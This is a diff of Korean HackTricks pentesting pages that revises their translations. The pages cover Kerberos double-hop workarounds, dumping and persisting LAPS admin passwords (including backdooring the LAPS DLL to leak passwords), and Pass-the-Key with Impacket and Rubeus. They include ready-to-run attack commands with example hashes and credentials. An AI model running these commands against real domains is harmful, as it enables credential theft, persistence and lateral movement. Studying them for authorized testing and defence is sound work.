더블 홉 문제를 우회하는 해결책으로 `Register-PSSessionConfiguration`을 `Enter-PSSession`과 함께 사용하는 것이 제안됩니다. 이 방법은 `evil-winrm`과는 다른 접근 방식을 요구하며 더블 홉 제한을 겪지 않는 세션을 허용합니다.
|
||||
```powershell
|
||||
|
@ -69,28 +69,28 @@ klist
|
|||
```
|
||||
### 포트포워딩
|
||||
|
||||
중간 대상의 로컬 관리자는 `netsh`를 사용하여 포트포워딩을 허용하는 규칙을 추가할 수 있습니다. 이를 통해 최종 서버로 요청을 보낼 수 있습니다. Windows 방화벽 규칙도 포워딩된 포트를 허용하도록 설정됩니다.
|
||||
중간 대상의 로컬 관리자는 `netsh`를 사용하여 포트포워딩을 허용하는 규칙을 추가할 수 있으며, 이를 통해 Windows 방화벽 규칙을 추가하여 포워딩된 포트를 허용할 수 있습니다.
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
```
|
||||
#### winrs.exe
|
||||
|
||||
`winrs.exe`는 WinRM 요청을 전달하는 데 사용할 수 있으며 PowerShell 모니터링이 우려되는 경우 덜 감지되는 옵션으로 사용할 수 있습니다. 아래 명령은 그 사용법을 보여줍니다:
|
||||
`winrs.exe`는 WinRM 요청을 전달하는 데 사용할 수 있으며 PowerShell 모니터링이 우려되는 경우 덜 감지될 수 있는 옵션으로 사용할 수 있습니다. 아래 명령은 그 사용법을 보여줍니다:
|
||||
```bash
|
||||
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||
```
|
||||
### OpenSSH
|
||||
|
||||
첫 번째 서버에 OpenSSH를 설치하면 더블 홉 문제에 대한 해결책이 제공되며, 특히 점프 박스 시나리오에 유용합니다. 이 방법은 Windows용 OpenSSH의 CLI 설치와 설정을 필요로 합니다. 암호 인증으로 구성된 경우 중간 서버가 사용자를 대신하여 TGT를 획득할 수 있습니다.
|
||||
첫 번째 서버에 OpenSSH를 설치하면 더블 홉 문제에 대한 해결책이 활성화되어 점프 박스 시나리오에 특히 유용합니다. 이 방법은 Windows용 OpenSSH의 CLI 설치 및 설정을 필요로 합니다. 암호 인증을 위해 구성된 경우 중간 서버가 사용자를 대신하여 TGT를 획들할 수 있습니다.
|
||||
|
||||
#### OpenSSH 설치 단계
|
||||
|
||||
1. 최신 OpenSSH 릴리스 zip 파일을 다운로드하고 대상 서버로 이동합니다.
|
||||
2. 압축 해제하고 `Install-sshd.ps1` 스크립트를 실행합니다.
|
||||
1. 최신 OpenSSH 릴리스 zip을 다운로드하고 대상 서버로 이동합니다.
|
||||
2. 압축을 풀고 `Install-sshd.ps1` 스크립트를 실행합니다.
|
||||
3. 포트 22를 열기 위한 방화벽 규칙을 추가하고 SSH 서비스가 실행 중인지 확인합니다.
|
||||
|
||||
`Connection reset` 오류를 해결하려면, 권한을 업데이트하여 OpenSSH 디렉토리에서 모든 사용자가 읽기 및 실행 액세스를 허용해야 할 수 있습니다.
|
||||
`Connection reset` 오류를 해결하려면 OpenSSH 디렉토리에서 모든 사람에게 읽기 및 실행 액세스를 허용하도록 권한을 업데이트해야 할 수 있습니다.
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
|
@ -101,18 +101,18 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
|
||||
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 **제로**에서 **히어로**로 **AWS 해킹 배우기**</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 **제로부터 영웅이 되기까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사 광고**를 보고 싶으신가요? 아니면 **PEASS의 최신 버전에 액세스**하거나 **PDF로 HackTricks를 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**을 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**하세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks 레포**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud 레포**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,26 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/)** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 PR을 제출하여 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)에 참여**하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 기본 정보
|
||||
|
||||
로컬 관리자 비밀번호 솔루션 (LAPS)은 **고유하고 무작위로 생성되며 자주 변경되는 관리자 비밀번호**가 도메인에 가입된 컴퓨터에 적용되는 시스템을 관리하는 데 사용되는 도구입니다. 이러한 비밀번호는 Active Directory 내에서 안전하게 저장되며, 액세스 제어 목록 (ACL)을 통해 권한이 부여된 사용자만이 액세스할 수 있습니다. 클라이언트에서 서버로의 비밀번호 전송의 보안은 **Kerberos 버전 5** 및 **고급 암호화 표준 (AES)**을 사용하여 보장됩니다.
|
||||
로컬 관리자 비밀번호 솔루션 (LAPS)은 **관리자 비밀번호**를 관리하는 데 사용되는 도구로, 이 비밀번호들은 **고유하고 무작위로 생성되며 자주 변경**되며 도메인에 가입된 컴퓨터에 적용됩니다. 이러한 비밀번호는 Active Directory 내에서 안전하게 저장되며, 액세스 제어 목록 (ACL)을 통해 권한이 부여된 사용자만 액세스할 수 있습니다. 클라이언트에서 서버로의 비밀번호 전송의 보안은 **Kerberos 버전 5** 및 **고급 암호화 표준 (AES)**을 사용하여 보장됩니다.
|
||||
|
||||
LAPS의 구현으로 인해 도메인의 컴퓨터 객체에는 **`ms-mcs-AdmPwd`** 및 **`ms-mcs-AdmPwdExpirationTime`** 두 가지 새로운 속성이 추가됩니다. 이러한 속성은 각각 **평문 관리자 비밀번호**와 **만료 시간**을 저장합니다.
|
||||
도메인의 컴퓨터 객체에서 LAPS를 구현하면 **`ms-mcs-AdmPwd`** 및 **`ms-mcs-AdmPwdExpirationTime`** 두 가지 새로운 속성이 추가됩니다. 이러한 속성은 각각 **평문 관리자 비밀번호**와 **만료 시간**을 저장합니다.
|
||||
|
||||
### 활성화되었는지 확인
|
||||
```bash
|
||||
|
@ -40,7 +40,7 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
|
|||
|
||||
`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`에서 **LAPS 정책의 원본을 다운로드**할 수 있으며, 그런 다음 [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) 패키지의 **`Parse-PolFile`**를 사용하여이 파일을 사람이 읽을 수있는 형식으로 변환 할 수 있습니다.
|
||||
|
||||
또한, **기본 LAPS PowerShell cmdlet**은 액세스 할 수있는 기계에 설치되어 있는 경우 사용할 수 있습니다:
|
||||
또한, **기본 LAPS PowerShell cmdlet**은 액세스 할 수있는 기계에 설치되어 있으면 사용할 수 있습니다:
|
||||
```powershell
|
||||
Get-Command *AdmPwd*
|
||||
|
||||
|
@ -61,7 +61,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
|
|||
# Read the password
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
```
|
||||
**PowerView**를 사용하여 **비밀번호를 읽을 수 있는 사용자를 찾아내고 그 내용을 읽을 수 있는 사용자를 찾을 수도 있습니다**:
|
||||
**PowerView**를 사용하여 **비밀번호를 읽을 수 있는 사용자를 찾아내고 그것을 읽을 수 있는 사용자를 찾을 수도 있습니다**:
|
||||
```powershell
|
||||
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
|
||||
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
|
||||
|
@ -71,9 +71,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
|||
```
|
||||
### LAPSToolkit
|
||||
|
||||
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)은 여러 기능을 통해 LAPS를 열거하는 것을 용이하게 합니다.\
|
||||
하나는 **LAPS를 활성화한 모든 컴퓨터의 `ExtendedRights`를 구문 분석**하는 것입니다. 이를 통해 종종 보호 그룹에 속한 사용자인 **LAPS 암호를 읽을 수 있는 그룹**이 특별히 **위임**된 것을 보여줍니다.\
|
||||
도메인에 컴퓨터를 가입시킨 **계정**은 해당 호스트에 대해 `All Extended Rights`를 받으며, 이 권한은 **암호를 읽을 수 있는 능력**을 부여합니다. 열거를 통해 호스트에서 LAPS 암호를 읽을 수 있는 사용자 계정을 보여줄 수 있습니다. 이를 통해 **특정 AD 사용자를 대상**으로 할 수 있습니다.
|
||||
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)은 여러 기능을 사용하여 LAPS를 열거하는 것을 용이하게 합니다.\
|
||||
하나는 **LAPS를 사용하는 모든 컴퓨터에 대한 `ExtendedRights`를 구문 분석**하는 것입니다. 이는 종종 보호된 그룹의 사용자인 **LAPS 암호를 읽을 수 있는 특정 그룹**을 보여줍니다.\
|
||||
도메인에 컴퓨터를 가입한 **계정**은 해당 호스트에 대해 `All Extended Rights`를 받으며, 이 권한은 **암호를 읽을 수 있는 능력**을 부여합니다. 열거를 통해 호스트에서 LAPS 암호를 읽을 수 있는 사용자 계정을 보여줄 수 있습니다. 이를 통해 **LAPS 암호를 읽을 수 있는 특정 AD 사용자**를 대상으로 할 수 있습니다.
|
||||
```powershell
|
||||
# Get groups that can read passwords
|
||||
Find-LAPSDelegatedGroups
|
||||
|
@ -98,15 +98,15 @@ ComputerName Password Expiration
|
|||
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
|
||||
```
|
||||
## **Crackmapexec를 사용하여 LAPS 암호 덤프**
|
||||
파워쉘에 액세스할 수 없는 경우 LDAP를 통해 원격으로 이 권한을 남용할 수 있습니다.
|
||||
PowerShell에 액세스할 수 없는 경우 LDAP를 통해 원격으로 이 권한을 남용할 수 있습니다.
|
||||
```
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||
```
|
||||
## **LAPS Persistence**
|
||||
## **LAPS 지속성**
|
||||
|
||||
### **만료 날짜**
|
||||
|
||||
한 번 어드민이 되면 **암호를 획득**하고 **비밀번호 갱신을 방지**하기 위해 **만료 날짜를 미래로 설정**함으로써 사용자가 읽을 수 있는 모든 암호를 덤프할 수 있습니다.
|
||||
일단 관리자가 되면 **비밀번호를 획득**하고 **비밀번호를 업데이트**하지 못하도록 **만료 날짜를 미래로 설정**하여 머신을 **방지**할 수 있습니다.
|
||||
```powershell
|
||||
# Get expiration time
|
||||
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
||||
|
@ -116,30 +116,30 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
|||
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
만약 **관리자**가 **`Reset-AdmPwdPassword`** cmdlet을 사용하거나 LAPS GPO에서 **정책에 필요한 것보다 긴 비밀번호 만료 시간을 허용하지 않음**이 활성화된 경우에도 비밀번호는 재설정됩니다.
|
||||
**관리자**가 **`Reset-AdmPwdPassword`** cmdlet을 사용하거나 LAPS GPO에서 **정책에 필요한 것보다 더 긴 시간 동안 암호 만료를 허용하지 않음**이 활성화된 경우에도 암호는 재설정됩니다.
|
||||
{% endhint %}
|
||||
|
||||
### 배킹도어
|
||||
### Backdoor
|
||||
|
||||
LAPS의 원본 소스 코드는 [여기](https://github.com/GreyCorbel/admpwd)에서 찾을 수 있으므로 코드에 배킹도어를 넣는 것이 가능합니다 (`Main/AdmPwd.PS/Main.cs`의 `Get-AdmPwdPassword` 메서드 내부에 예를 들어) 새로운 비밀번호를 어떤 식으로든 **유출하거나 저장**할 수 있습니다.
|
||||
LAPS의 원본 소스 코드는 [여기](https://github.com/GreyCorbel/admpwd)에서 찾을 수 있으므로 코드에 백도어를 넣는 것이 가능합니다 (`Main/AdmPwd.PS/Main.cs`의 `Get-AdmPwdPassword` 메서드 내에 예를 들어) 새로운 암호를 어떤 식으로든 **유출하거나 저장**할 수 있습니다.
|
||||
|
||||
그런 다음, 새로운 `AdmPwd.PS.dll`을 컴파일하고 `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`에 업로드하고 수정 시간을 변경하면 됩니다.
|
||||
그런 다음, 새로운 `AdmPwd.PS.dll`을 컴파일하고 `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`에 업로드하십시오 (그리고 수정 시간을 변경하십시오).
|
||||
|
||||
## 참고 자료
|
||||
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되기까지 AWS 해킹을 배우세요</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) 디스코드 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **사이버 보안 회사**에서 일하십니까? **회사를 HackTricks에서 광고**하고 싶으십니까? 또는 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으십니까? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하십시오, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**가 되어 **AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 홍보**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 홍보**하고 싶으세요? 혹은 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으세요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶다면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하세요. [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 해시/키 전달하기 (PTK)
|
||||
|
||||
**해시/키 전달하기 (PTK)** 공격은 전통적인 NTLM 프로토콜이 제한되어 있고 Kerberos 인증이 우선하는 환경을 대상으로 설계되었습니다. 이 공격은 사용자의 NTLM 해시 또는 AES 키를 활용하여 Kerberos 티켓을 요청하여 네트워크 내의 리소스에 무단 액세스할 수 있게 합니다.
|
||||
**해시/키 전달하기 (PTK)** 공격은 전통적인 NTLM 프로토콜이 제한되어 있고 Kerberos 인증이 우선하는 환경에서 설계되었습니다. 이 공격은 사용자의 NTLM 해시 또는 AES 키를 활용하여 Kerberos 티켓을 요청하여 네트워크 내의 리소스에 무단 액세스할 수 있게 합니다.
|
||||
|
||||
이 공격을 실행하기 위해 초기 단계는 대상 사용자 계정의 NTLM 해시 또는 비밀번호를 획득하는 것입니다. 이 정보를 확보한 후 계정에 대한 Ticket Granting Ticket (TGT)를 얻어 공격자가 사용자가 권한을 가진 서비스나 기기에 액세스할 수 있게 합니다.
|
||||
|
||||
|
@ -28,7 +28,7 @@ python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2
|
|||
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
|
||||
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
||||
```
|
||||
AES256이 필요한 시나리오의 경우, `-aesKey [AES key]` 옵션을 사용할 수 있습니다. 또한 획득한 티켓은 smbexec.py 또는 wmiexec.py와 같은 다양한 도구와 함께 사용될 수 있어 공격 범위를 확대할 수 있습니다.
|
||||
AES256이 필요한 시나리오의 경우, `-aesKey [AES key]` 옵션을 활용할 수 있습니다. 또한 획득한 티켓은 smbexec.py 또는 wmiexec.py와 같은 다양한 도구와 함께 사용될 수 있어 공격 범위를 확대할 수 있습니다.
|
||||
|
||||
_PyAsn1Error_ 또는 _KDC cannot find the name_과 같은 문제는 일반적으로 Impacket 라이브러리를 업데이트하거나 IP 주소 대신 호스트 이름을 사용하여 Kerberos KDC와의 호환성을 보장함으로써 해결됩니다.
|
||||
|
||||
|
@ -37,7 +37,7 @@ Rubeus.exe를 사용한 대체 명령 시퀀스는 이 기술의 다른 측면
|
|||
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
|
||||
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
|
||||
```
|
||||
이 방법은 **Pass the Key** 방식을 반영하며, 인증 목적으로 티켓을 직접 사용하고 장악하는 데 초점을 맞춥니다. TGT 요청의 시작은 기본적으로 RC4-HMAC 사용을 나타내는 `4768: A Kerberos authentication ticket (TGT) was requested` 이벤트를 트리거합니다. 그러나 현대의 Windows 시스템은 AES256을 선호합니다.
|
||||
이 방법은 **Pass the Key** 방식을 반영하며, 명령을 도용하고 인증 목적으로 직접 티켓을 사용합니다. TGT 요청의 시작은 기본적으로 RC4-HMAC 사용을 나타내는 이벤트 `4768: A Kerberos authentication ticket (TGT) was requested`를 트리거합니다. 그러나 현대의 Windows 시스템은 AES256을 선호합니다.
|
||||
|
||||
운영 보안을 준수하고 AES256을 사용하려면 다음 명령을 적용할 수 있습니다:
|
||||
```bash
|
||||
|
@ -47,18 +47,18 @@ Rubeus.exe를 사용한 대체 명령 시퀀스는 이 기술의 다른 측면
|
|||
|
||||
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되기까지 AWS 해킹을 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
* **사이버 보안 회사에서 일하시나요? 귀하의 회사가 HackTricks에서 광고되길 원하시나요? 또는 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **사이버 보안 회사에서 일하시나요? 귀하의 회사가 HackTricks에 광고되길 원하시나요? 또는 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하여 해킹 트릭을 공유하세요**.
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)로 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,50 +2,50 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 <strong>제로부터 영웅까지 AWS 해킹 배우기</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
